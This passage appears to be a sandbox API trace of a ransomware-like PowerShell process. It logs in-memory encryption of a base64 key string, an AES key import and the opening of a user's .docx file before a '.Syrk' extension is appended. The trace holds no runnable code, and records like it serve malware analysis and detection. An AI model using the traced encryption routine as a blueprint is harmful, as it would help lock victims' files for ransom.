Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.327] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0223.327] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0223.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0223.327] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.327] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0223.327] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0223.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0223.327] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.328] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0223.328] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0223.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0223.328] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.328] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0223.328] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0223.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0223.328] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.328] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0223.328] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0223.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0223.328] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.329] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0223.329] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0223.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0223.329] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.329] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0223.329] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0223.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0223.329] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.329] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0223.329] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0223.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0223.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0223.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0223.352] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.353] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0223.353] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0223.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0223.353] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.353] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0223.353] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0223.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0223.353] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.353] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0223.353] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0223.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0223.354] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.354] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0223.354] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0223.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0223.354] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.354] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0223.354] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0223.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0223.354] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.354] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0223.355] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0223.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0223.355] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.355] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0223.355] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0223.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0223.355] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.355] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0223.355] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0223.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0223.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0223.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0223.356] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.356] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0223.356] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0223.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0223.357] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.357] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0223.357] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0223.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0223.357] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.357] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0223.357] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0223.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0223.357] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0223.358] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0223.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0223.358] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0223.358] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0223.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0223.358] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0223.358] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0223.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0223.358] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0223.359] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0223.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0223.359] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0223.359] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0223.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0223.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0223.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0223.360] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.360] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN쐲㙮砨豜蚒뛐ꢈ") returned 0x30 [0223.360] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製稍鯂辜ᑆ뮧ࠄꕜ碓∪) returned 0x30 [0223.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製稍鯂辜ᑆ뮧ࠄꕜ碓∪) returned 0x30 [0223.360] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.360] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㙮砨豜蚒뛐ꢈ") returned 0x30 [0223.360] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⌍谪▸࿹缙뤱ﷃ⻏∧) returned 0x30 [0223.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⌍谪▸࿹缙뤱ﷃ⻏∧) returned 0x30 [0223.361] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q砨豜蚒뛐ꢈ") returned 0x30 [0223.361] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製缍䘵眾菝㞬ඳ団∠) returned 0x30 [0223.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製缍䘵眾菝㞬ඳ団∠) returned 0x30 [0223.361] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.362] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=豜蚒뛐ꢈ") returned 0x30 [0223.362] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.362] EtwEventActivityIdControl () returned 0x0 [0223.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製舍찚鉟뎵藰팝낚∆) returned 0x30 [0223.362] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.362] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=豜蚒뛐ꢈ") returned 0x30 [0223.362] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0223.364] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0223.366] CryptImportKey (in: hProv=0x5c4d298, pbData=0x2473e48*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69440) returned 1 [0223.366] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.367] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.367] EtwEventActivityIdControl () returned 0x0 [0223.367] EtwEventActivityIdControl () returned 0x0 [0223.367] EtwEventActivityIdControl () returned 0x0 [0223.374] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0223.375] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0223.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.376] EtwEventActivityIdControl () returned 0x0 [0223.376] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.376] EtwEventActivityIdControl () returned 0x0 [0223.376] EtwEventActivityIdControl () returned 0x0 [0223.376] EtwEventActivityIdControl () returned 0x0 [0223.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0223.427] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0223.428] GetFileType (hFile=0x454) returned 0x1 [0223.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0223.428] GetFileType (hFile=0x454) returned 0x1 [0223.428] EtwEventActivityIdControl () returned 0x0 [0223.428] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.429] EtwEventActivityIdControl () returned 0x0 [0223.429] EtwEventActivityIdControl () returned 0x0 [0223.429] EtwEventActivityIdControl () returned 0x0 [0223.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, 